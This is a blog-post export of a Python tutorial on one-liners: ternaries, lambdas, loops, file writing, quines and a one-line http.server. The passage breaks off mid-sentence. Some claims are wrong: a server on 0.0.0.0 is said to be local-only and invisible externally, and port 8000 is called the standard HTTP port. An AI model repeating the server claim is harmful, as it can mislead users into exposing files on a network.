{"id":118342,"date":"2020-09-22T13:17:19","date_gmt":"2020-09-22T13:17:19","guid":{"rendered":"https:\/\/blog.finxter.com\/?p=13555"},"modified":"2020-09-22T13:17:19","modified_gmt":"2020-09-22T13:17:19","slug":"56-python-one-liners-to-show-off-your-python-superpower","status":"publish","type":"post","link":"https:\/\/sickgaming.net\/blog\/2020\/09\/22\/56-python-one-liners-to-show-off-your-python-superpower\/","title":{"rendered":"56 Python One Liners to Show Off Your Python Superpower"},"content":{"rendered":"<p>This is a running document in which I&#8217;ll answer all questions regarding the single line of Python code. It&#8217;s based on my interactive collection here but without the slow videos and embedded code shells. <\/p>\n<p class=\"wp-block-block\"><strong>But before we move on, I&#8217;m excited to present you my brand-new Python book <a rel=\"noreferrer noopener\" href=\"https:\/\/amzn.to\/2WAYeJE\" target=\"_blank\" title=\"https:\/\/amzn.to\/2WAYeJE\">Python One-Liners<\/a><\/strong> (Amazon Link).<\/p>\n<p>If you like one-liners, you&#8217;ll LOVE the book. It&#8217;ll teach you everything there is to know about a <strong>single line of Python code.<\/strong> But it&#8217;s also an <strong>introduction to computer science<\/strong>, data science, machine learning, and algorithms. <strong><em>The universe in a single line of Python!<\/em><\/strong><\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><a href=\"https:\/\/amzn.to\/2WAYeJE\" target=\"_blank\" rel=\"noopener noreferrer\"><img decoding=\"async\" loading=\"lazy\" width=\"215\" height=\"283\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/02\/image-1.png\" alt=\"\" class=\"wp-image-5969\"><\/a><\/figure>\n<\/div>\n<p>The book is released in 2020 with the world-class programming book publisher NoStarch Press (San Francisco).<\/p>\n<p>Let&#8217;s get started!<\/p>\n<h2>Python One Line If Else<\/h2>\n<p>You can use a simple if statement in a single line of code. This is called the ternary operator. The most <a href=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\">basic ternary operator<\/a> <code>x if c else y<\/code> returns expression <code>x<\/code> if the Boolean expression <code>c<\/code> evaluates to <code>True<\/code>. Otherwise, if the expression <code>c<\/code> evaluates to <code>False<\/code>, the ternary operator returns the alternative expression <code>y<\/code>.<\/p>\n<p>Here&#8217;s a minimal example:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">var = 21 if 3&lt;2 else 42\nprint(var)\n# 42<\/pre>\n<figure class=\"wp-block-image size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/ternary_general-1024x576.jpg\" alt=\"Python Ternary Operator\" class=\"wp-image-10984\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/ternary_general-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/ternary_general-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/ternary_general-768x432.jpg 768w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<p><strong>Ternary<\/strong> (from Latin <em>ternarius<\/em>) is an adjective meaning <em>&#8220;composed of three items&#8221;<\/em>. (<a href=\"https:\/\/en.wikipedia.org\/wiki\/Ternary\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/en.wikipedia.org\/wiki\/Ternary\">source<\/a>) So, literally, the ternary operator in Python is composed of three operands.<\/p>\n<p><strong>Syntax<\/strong>: The three operands are written as <code>x if c else y<\/code> which reads as &#8220;return <code>x<\/code> if <code>c<\/code> else return <code>y<\/code>&#8220;. Let&#8217;s write this more intuitively as:<\/p>\n<pre class=\"wp-block-preformatted\">&lt;OnTrue&gt; if &lt;Condition&gt; else &lt;OnFalse&gt;<\/pre>\n<figure class=\"wp-block-table is-style-stripes\">\n<table>\n<thead>\n<tr>\n<th>Operand<\/th>\n<th>Description<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>&lt;OnTrue&gt;<\/td>\n<td>The return expression of the operator in case the condition evaluates to <code>True<\/code><\/td>\n<\/tr>\n<tr>\n<td>&lt;Condition&gt;<\/td>\n<td>The condition that determines whether to return the &lt;On True&gt; or the &lt;On False&gt; branch.<\/td>\n<\/tr>\n<tr>\n<td>&lt;OnFalse&gt;<\/td>\n<td>The return expression of the operator in case the condition evaluates to <code>False<\/code><\/td>\n<\/tr>\n<\/tbody>\n<\/table><figcaption><em>Operands of the Ternary Operator<\/em><\/figcaption><\/figure>\n<p><strong>Related Tutorial<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-ternary\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/blog.finxter.com\/python-one-line-ternary\/\">The Ternary Operator in Python &#8212; Everything You Need to Know<\/a><\/p>\n<h2>Python One Line Elif<\/h2>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"1024\" height=\"576\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/elif-1-1024x576.jpg\" alt=\"Python Ternary Elif\" class=\"wp-image-10819\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/elif-1-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/elif-1-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/elif-1-768x432.jpg 768w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n<p>By now, you&#8217;ve learned how to write the <a href=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" title=\"https:\/\/blog.finxter.com\/if-then-else-in-one-line-python\/\" target=\"_blank\" rel=\"noreferrer noopener\">if-else statement in a single line of code<\/a> using the ternary operator. But can you do the same with an elif statement if you have multiple conditions?<\/p>\n<p>Of course, you can! (If you&#8217;re in doubt about whether you can do XYZ in a single line of Python, just assume that you can. Check out my new book <a href=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/www.amazon.com\/gp\/product\/B07ZY7XMX8\">&#8220;Python One-Liners&#8221;<\/a> to master the single line of code!)<\/p>\n<p>Say, you want to write the following if-then-else condition in a single line of code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">>>> x = 42\n>>> if x > 42:\n>>> print(\"no\")\n>>> elif x == 42:\n>>> print(\"yes\")\n>>> else:\n>>> print(\"maybe\")\nyes<\/pre>\n<p>The elif branch wins: you print the output <code>\"yes\"<\/code> to the shell. But how to do it in a single line of code? Just use the ternary operator with an elif statement won&#8217;t work (it&#8217;ll throw a syntax error).<\/p>\n<p>The answer is simple: nest two ternary operators like so:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print(\"no\") if x > 42 else print(\"yes\") if x == 42 else print(\"maybe\")\n# yes<\/pre>\n<p>If the value x is larger than 42, we print &#8220;no&#8221; to the shell. Otherwise, we execute the remainder of the code (which is a ternary operator by itself). If the value x is equal to 42, we print &#8220;yes&#8221;, otherwise &#8220;maybe&#8221;.<\/p>\n<p>So by nesting multiple ternary operators, we can greatly increase our <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">Python one-liner power<\/a>!<\/p>\n<p><strong>Related Article<\/strong>:<a href=\"https:\/\/blog.finxter.com\/python-ternary-elif\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Ternary Elif\"> Python Ternary Elif<\/a><\/p>\n<p>Now, you know how you can add more conditions to a single-line conditional statement. An interesting question is whether you can also add fewer conditions?<\/p>\n<h2>Python One Line If Without Else<\/h2>\n<p><strong>Problem<\/strong>: What&#8217;s the one-liner equivalent of the simple if statement without an else branch?<\/p>\n<p>Here&#8217;s an example:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">condition = True if condition: print('hi') # hi<\/pre>\n<p>You may want to (i) print something, (ii) assign a value to a variable, or (iii) append an element to a list if the condition holds.<\/p>\n<p>Next, I&#8217;ll show you four methods of how to accomplish this goal. All four methods are generally applicable&#8212;and you can easily customize them to your specific application.<\/p>\n<p>Let&#8217;s have a quick overview of the four methods:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">condition = True # Simple 2-Liner Method\nif condition: print('hi') # Method 1: One-Liner If\nif condition: print('hi') # Method 2: Ternary with Dummy\nprint('hi') if condition else None # Method 3: Ternary with Dummy for Assignment\nx = 42 if condition else None # Method 4: Short circuiting\ncondition and print('hi')<\/pre>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-if-without-else\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line If Without Else\">Read more about these methods in my detailed blog article. <\/a><\/p>\n<h2>Python One Line Function<\/h2>\n<p>The most Pythonic way to define a function in a single line is to (1) create an anonymous lambda function and (2) assign the function object to a variable name. You can then call the function by name just like any other regularly-defined function. For example, the statement <code>f = lambda x: x+1<\/code> creates a function <code>f<\/code> that increments the argument <code>x<\/code> by one and returns the result: <code>f(2)<\/code> returns <code>3<\/code>.<\/p>\n<p><strong>Problem<\/strong>: How to define a function in a single line of Python code? Let&#8217;s explore this mission-critical question!<\/p>\n<p><strong>Example<\/strong>: Say, you want to write the following function in a single line of code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">def f(x): return str(x * 3) + '!' print(f(1))\n# 3! print(f('python'))\n# pythonpythonpython!<\/pre>\n<p><strong>Solution<\/strong>: Let&#8217;s get a quick overview of how to accomplish this first:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">##############################\n# Method 1: Single-Line Def\n##############################\ndef f1(x): return str(x * 3) + '!' print(f1(1))\nprint(f1('python')) ##############################\n# Method 2: Lambda Function\n##############################\nf2 = lambda x: str(x * 3) + '!' print(f2(1))\nprint(f2('python')) ##############################\n# Method 3: exec()\n##############################\nf3 = \"def f(x):\\n return str(x * 3) + '!'\" exec(f3 + '\\nprint(f(1))')\nexec(f3 + \"\\nprint(f('python'))\")\n<\/pre>\n<p>Can you figure out the output? You can check your understanding in the following article:<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/define-a-function-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"3 Pythonic Ways to Define a Function in One Line\">3 Pythonic Ways to Define a Function in One Line [for Hackers]<\/a><\/p>\n<h2>Python One Line For Loop<\/h2>\n<p>Python is powerful &#8212; you can condense many algorithms into a single line of Python code. So the natural question arises: can you write a for loop in a single line of code? This article explores this mission-critical question in all detail.<\/p>\n<p><strong>How to Write a For Loop in a Single Line of Python Code?<\/strong><\/p>\n<p>There are two ways of writing a one-liner for loop:<\/p>\n<ul>\n<li>If the loop body consists of one statement, simply write this statement into the same line: <code>for i in range(10): print(i)<\/code>. This prints the first 10 numbers to the shell (from 0 to 9). <\/li>\n<li>If the purpose of the loop is to create a list, use list comprehension instead: <code>squares = [i**2 for i in range(10)]<\/code>. The code squares the first ten numbers and stores them in the list <code>squares<\/code>. <\/li>\n<\/ul>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/define-a-function-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\">Python One Line For Loop<\/a><\/p>\n<h2>Python One Line For Loop If<\/h2>\n<p>You can also modify the list comprehension statement by restricting the context with another if statement:<\/p>\n<p><strong>Problem<\/strong>: Say, we want to create a list of squared numbers&#8212;but you only consider even and ignore odd numbers. <\/p>\n<p><strong>Example<\/strong>: The multi-liner way would be the following.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">squares = [] for i in range(10): if i%2==0: squares.append(i**2) print(squares)\n# [0, 4, 16, 36, 64]\n<\/pre>\n<p>You create an empty list <code>squares<\/code> and successively add another square number starting from 0**2 and ending in 8**2&#8212;but only considering the even numbers 0, 2, 4, 6, 8. Thus, the result is the list <code>[0, 4, 16, 36, 64]<\/code>. <\/p>\n<p><strong>Solution<\/strong>: Again, you can use list comprehension <code>[i**2 for i in range(10) <strong>if i%2==0<\/strong>]<\/code> with a restrictive if clause (in bold) in the context part to compress this in a single line of Python code:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">print([i**2 for i in range(10) if i%2==0])\n# [0, 4, 16, 36, 64]<\/pre>\n<p>This line accomplishes the same output with much less bits.<\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/define-a-function-in-one-line\/\" target=\"_blank\" rel=\"noreferrer noopener\">Python One Line For Loop With If<\/a><\/p>\n<h2>Python One Line For Loop Lambda<\/h2>\n<p><strong>Problem<\/strong>: Given a collection. You want to create a new list based on all values in this collection. The code should run in a single line of code. How do you accomplish this? Do you need a <a href=\"https:\/\/blog.finxter.com\/a-simple-introduction-of-the-lambda-function-in-python\/\" title=\"Lambda Functions in Python: A Simple Introduction\" target=\"_blank\" rel=\"noreferrer noopener\">lambda function<\/a>?<\/p>\n<div class=\"wp-block-image is-style-default\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-29.png\" alt=\"Python One Line For Loop Lambda\" class=\"wp-image-11324\" width=\"725\" height=\"452\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-29.png 966w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-29-300x187.png 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-29-768x479.png 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/image-29-150x94.png 150w\" sizes=\"auto, (max-width: 725px) 100vw, 725px\" \/><\/figure>\n<\/div>\n<p><strong>Example<\/strong>: Given an array <code>a = [1, 2, 3, 4]<\/code>. You need to create a second array <code>b<\/code> with all values of <code>a<\/code>&#8212;while adding <code>+1<\/code> to each value. Here&#8217;s your multi-liner:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">a = [1, 2, 3, 4]\nb = []\nfor x in a: b.append(x+1)\nprint(b)\n# [2, 3, 4, 5]<\/pre>\n<p>How do you accomplish this in a single line of code?<\/p>\n<p><strong>Answer<\/strong>: No, you don&#8217;t need a lambda function. What you&#8217;re looking for is a feature called <a href=\"https:\/\/blog.finxter.com\/list-comprehension\/\" title=\"List Comprehension in Python \u2014 A Helpful Illustrated Guide\" target=\"_blank\" rel=\"noreferrer noopener\">list comprehension<\/a>. Here&#8217;s the one-liner expression that accomplishes this without the lambda function:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">b = [x+1 for x in a]\nprint(b)\n# [2, 3, 4, 5]<\/pre>\n<p>Let&#8217;s dive into some background information in case you wonder how <a href=\"https:\/\/blog.finxter.com\/which-is-faster-list-comprehension-or-map-function-in-python\/\" title=\"Which is Faster: List Comprehension or Map Function in Python?\" target=\"_blank\" rel=\"noreferrer noopener\">list comprehensions<\/a> work. Based on your question, I also suspect that you don&#8217;t completely understand <a href=\"https:\/\/blog.finxter.com\/a-simple-introduction-of-the-lambda-function-in-python\/\" title=\"Lambda Functions in Python: A Simple Introduction\" target=\"_blank\" rel=\"noreferrer noopener\">lambda functions<\/a> either, so I&#8217;ll also add another section about lambda functions. Finally, you&#8217;ll also learn about a third alternative method to solve this exact problem by using the lambda function in combination with Python&#8217;s built-in <a href=\"https:\/\/blog.finxter.com\/daily-python-puzzle-string-encrpytion-ord-function-map-function\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Mastering the Python Map Function [+Video]\">map() function<\/a>! <\/p>\n<p>So, stay with me&#8212;you&#8217;ll become a better coder in the process! <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/1f642.png\" alt=\"\ud83d\ude42\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/><\/p>\n<p><strong>Related Article<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-line-for-loop-lambda\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line For Loop Lambda\">Python One Line For Loop Lambda<\/a><\/p>\n<h2>Python One Line While Loop<\/h2>\n<p>There are three ways of writing a one-liner while <a href=\"https:\/\/blog.finxter.com\/python-loops\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python Loops\">loop<\/a>:<\/p>\n<ul>\n<li><strong>Method 1<\/strong>: If the loop body consists of one statement, write this statement into the same line: <code>while True: print('hi')<\/code>. This prints the string <code>'hi'<\/code> to the shell for as long as you don&#8217;t interfere or your operating system forcefully terminates the execution. <\/li>\n<li><strong>Method 2: <\/strong>If the loop body consists of multiple statements, use the semicolon to separate them: <code>while True: print('hi'), print('bye')<\/code>. This runs the statements one after the other within the while loop. <\/li>\n<li><strong>Method 3<\/strong>: If the loop body consists nested compound statements, replace the inner compound structures with the ternary operator: <code>while True: print('hi') if condition else print('bye'<\/code>). <\/li>\n<\/ul>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\n# Method 1: Single-Statement Body\nwhile True: print('hi') # Method 2: Multiple-Statements Body\nc = 0\nwhile c &lt; 10: print(c); c = c + 1 # Method 3: Nested Statements Body\nwhile True: print('yes') if True else print('no')<\/pre>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-line-while-loop-a-simple-tutorial\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One Line While Loop [A Simple Tutorial]\"><em>You can read more about these methods in our detailed blog article.<\/em><\/a><\/p>\n<h2>Python One Line HTTP Web Server<\/h2>\n<p>Want to create your own webserver in a <a rel=\"noreferrer noopener\" href=\"https:\/\/blog.finxter.com\/python-one-liners-the-ultimate-collection\/\" target=\"_blank\">single line of Python code<\/a>? No problem, just use this command in your shell:<\/p>\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"743\" height=\"306\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/05\/image-61.png\" alt=\"\" class=\"wp-image-8636\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/05\/image-61.png 743w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/05\/image-61-300x124.png 300w\" sizes=\"auto, (max-width: 743px) 100vw, 743px\" \/><\/figure>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python -m http.server 8000<\/pre>\n<p>The terminal will tell you:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">Serving HTTP on 0.0.0.0 port 8000<\/pre>\n<p>To shut down your webserver, kill the Python program with <code>CTRL+c<\/code>.<\/p>\n<p>This works if you&#8217;ve <strong>Python 3<\/strong> installed on your system. To check your version, use the command <code><a href=\"https:\/\/blog.finxter.com\/how-to-check-your-python-version\/\">python --version<\/a><\/code> in your shell. <\/p>\n<p><em>You can run this command in your Windows Powershell, Win Command Line, MacOS Terminal, or Linux Bash Script.<\/em><\/p>\n<p>You can see in the screenshot that the server runs on your local host listening on port 8000 (the standard HTTP port to serve web requests).<\/p>\n<p><em><strong>Note<\/strong>: The IP address is <strong>NOT<\/strong> 0.0.0.0&#8212;this is an often-confused mistake by many readers. Instead, your webserver listens at your &#8220;local&#8221; IP address 127.0.0.1 on port 8000. Thus, only web requests issued on your computer will arrive at this port. The webserver is NOT visible to the outside world.<\/em><\/p>\n<p><strong>Python 2<\/strong>: To run the same simple webserver on Python 2, you need to use another command using <a href=\"https:\/\/docs.python.org\/2\/library\/simplehttpserver.html\" target=\"_blank\" rel=\"noreferrer noopener\"><code>SimpleHTTPServer<\/code> <\/a>instead of <code>http<\/code>:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"shell\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">$ python -m SimpleHTTPServer 8000\nServing HTTP on 0.0.0.0 port 8000 ...<\/pre>\n<p>If you want to start your webserver from within your Python script, no problem:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import http.server\nimport socketserver PORT = 8000 Handler = http.server.SimpleHTTPRequestHandler with socketserver.TCPServer((\"\", PORT), Handler) as httpd: print(\"serving at port\", PORT) httpd.serve_forever()<\/pre>\n<p>This code comes from the <a rel=\"noreferrer noopener\" href=\"https:\/\/docs.python.org\/3\/library\/http.server.html\" target=\"_blank\">official Python documentation<\/a>&#8212;feel free to read more if you&#8217;re interested in setting up the server (most of the code is relatively self-explanatory). <\/p>\n<p><strong>Source<\/strong>: <a href=\"https:\/\/blog.finxter.com\/python-one-liner-webserver\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One-Liner Webserver HTTP\">Python One-Liner Webserver HTTP<\/a><\/p>\n<h2>Python One Line Write String to File<\/h2>\n<p><strong>Problem<\/strong>: Given a string and a filename. How to write the string into the file with filename using only a <a href=\"https:\/\/pythononeliners.com\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pythononeliners.com\/\">single line of Python code<\/a>?<\/p>\n<p><strong>Example<\/strong>: You have filename <code>'hello.txt'<\/code> and you want to write string <code>'hello world!'<\/code> into the file.<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">hi = 'hello world!'\nfile = 'hello.txt' # Write hi in file '''\n# File: 'hello.txt':\nhello world! '''<\/pre>\n<p>How to achieve this? Here are four ways of doing it in a single line of code!<\/p>\n<p><strong>Solution<\/strong>: Here&#8217;s a quick overview of the methods to accomplish this. <\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">\nhi = 'hello world!'\nfile = 'hello.txt' # Method 1: 'with' statement\nwith open(file, 'a') as f: f.write(hi) # Method 2: print() function\nprint(hi, file=open(file, 'a')) # Method 3: multi-line statement\nf = open(file, 'a'); f.write(hi); f.close() # Method 4: open() and write()\nopen(file, 'a').write(hi)\n<\/pre>\n<p><em><strong>Exercise<\/strong>: Run the code and check the file <code>'hello.txt'<\/code>. How many <code>'hello worlds!'<\/code> are there in the file? Change the code so that only one <code>'hello world!'<\/code> is in the file!<\/em><\/p>\n<p><a href=\"https:\/\/blog.finxter.com\/python-one-liner-write-string-to-file\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"Python One-Liner: Write String to File\"><em>You can learn more about these methods in my detailed blog article!<\/em><\/a><\/p>\n<h2>Python One Line Quine<\/h2>\n<p>Most computer scientists, programmers, and hackers don&#8217;t even know the meaning of the word &#8220;Quine&#8221; in the context of programming. So, first things first:<\/p>\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-large is-resized\"><img decoding=\"async\" loading=\"lazy\" src=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/quine-1024x576.jpg\" alt=\"\" class=\"wp-image-11410\" width=\"768\" height=\"432\" srcset=\"https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/quine-scaled.jpg 1024w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/quine-300x169.jpg 300w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/quine-768x432.jpg 768w, https:\/\/blog.finxter.com\/wp-content\/uploads\/2020\/07\/quine-150x84.jpg 150w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure>\n<\/div>\n<p><strong>Roughly speaking, a quine is a self-reproducing program: if you run it, it generates itself.<\/strong><\/p>\n<p>Here&#8217;s a great definition:<\/p>\n<p><em>:<strong>quine<\/strong>: \/kwi:n\/ \/n.\/ [from the name of the logician Willard van Orman Quine, via Douglas Hofstadter] A program that generates a copy of its own source text as its complete output. Devising the shortest possible quine in some given programming language is a common hackish amusement. (<a href=\"http:\/\/www.nyx.net\/~gthompso\/quine.htm\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"http:\/\/www.nyx.net\/~gthompso\/quine.htm\">source<\/a>)<\/em><\/p>\n<blockquote class=\"wp-block-quote\">\n<p>The name &#8220;quine&#8221; was coined by Douglas Hofstadter, in his popular science book <em>G\u00f6del, Escher, Bach<\/em>, in honor of philosopher Willard Van Orman Quine (1908\u20132000), who made an extensive study of indirect self-reference, and in particular for the following paradox-producing expression, known as Quine&#8217;s paradox.<\/p>\n<p><cite><a href=\"https:\/\/en.wikipedia.org\/wiki\/Quine_(computing)\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/en.wikipedia.org\/wiki\/Quine_(computing)\">Wikipedia<\/a><\/cite><\/p><\/blockquote>\n<p>The shortest possible quine is the following empty program:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"> <\/pre>\n<p>The program is self-reproducing because the output of the program is the program itself. Go ahead and run it in your own shell! <img decoding=\"async\" src=\"https:\/\/s.w.org\/images\/core\/emoji\/13.0.0\/72x72\/1f609.png\" alt=\"\ud83d\ude09\" class=\"wp-smiley\" style=\"height: 1em; max-height: 1em;\" \/><\/p>\n<p>Here&#8217;s a short one-liner Quine, I found at <a href=\"https:\/\/cs.lmu.edu\/~ray\/notes\/quineprograms\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/cs.lmu.edu\/~ray\/notes\/quineprograms\/\">this <\/a>resource:<\/p>\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">s='s=%r;print(s%%s,sep=\"\")';print(s%s,sep=\"\")<\/pre>\n<ul>\n<li>You may want to improve your <a href=\"https:\/\/pyformat.info\/\" target=\"_blank\" rel=\"noreferrer noopener\" title=\"https:\/\/pyformat.info\/\">string formatting skills<\/a> to really understand this one-liner. <\/li>\n<li>The <a href=\"https:\/\/blog.finxter.com\/the-separator-and-end-arguments-of-the-python-print-function\/\" title=\"Python Print Function [And Its SECRET Separator &amp; End Arguments]\" target=\"_blank\" rel=\"noreferrer noopener\">separator argument of the print function<\/a> avoids printing a new-line character at the end. <\/li>\n<li>The <code>%r<\/code> format specifier automatically supplies single quotes.<\/li>\n<\/ul>\n<p>To learn about more Quines, check out my detailed 